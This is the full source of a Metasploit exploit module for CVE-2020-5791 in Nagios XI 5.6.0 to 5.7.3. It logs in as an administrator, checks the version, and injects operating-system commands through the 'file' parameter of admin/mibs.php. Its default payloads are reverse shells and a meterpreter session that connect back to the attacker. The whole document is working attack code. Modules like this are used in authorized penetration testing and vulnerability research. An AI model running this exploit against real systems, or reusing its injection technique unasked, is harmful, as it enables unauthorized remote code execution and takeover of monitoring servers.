## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::NagiosXi include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote Code Exection', 'Description' => %q{ This module exploits CVE-2020-5791, an OS command injection vulnerability in `admin/mibs.php` that enables an authenticated user with admin privileges to achieve remote code execution as either the `apache` user or the `www-data` user on NagiosXI version 5.6.0 to 5.7.3 inclusive (exact user depends on the version of NagiosXI installed as well as the OS its installed on). Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios XI 5.7.3 running on CentOS 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Lyne', # discovery 'Matthew Aberegg', # PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-5791'], ['EDB', '48959'] ], 'Targets' => [ [ 'Linux (x86/x64)', { 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'CMD', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'unix', # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-10-20', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]) ] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def finish_install datastore['FINISH_INSTALL'] end def check # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns # an array containing the http response body of a get request to index.php and the session cookies auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install) case auth_result when AUTH_RESULTS[:connection_failed] return CheckCode::Unknown(err_msg) when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version] return CheckCode::Detected(err_msg) when AUTH_RESULTS[:not_nagios_application] return CheckCode::Safe(err_msg) end if @version >= Rex::Version.new('5.6.0') && @version <= Rex::Version.new('5.7.3') return CheckCode::Appears("Version #{@version} appears to be vulnerable") end return CheckCode::Safe("Version #{@version} is not vulnerable") end def execute_command(cmd, _opts = {}) # execute payload unless @auth_cookies.present? auth_result, err_msg, @auth_cookies, @version = authenticate(username, password, finish_install) case auth_result when AUTH_RESULTS[:connection_failed] return CheckCode::Unknown(err_msg) when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version] return CheckCode::Detected(err_msg) when AUTH_RESULTS[:not_nagios_application] return CheckCode::Safe(err_msg) end end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'mibs.php'), 'cookie' => @auth_cookies, 'vars_get' => { 'mode' => 'undo-processing', 'type' => '1', 'file' => ";#{cmd};" } }, 0) # don't wait for a response from the target, otherwise the module will in most cases hang for a few seconds after executing the payload end def exploit if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end end end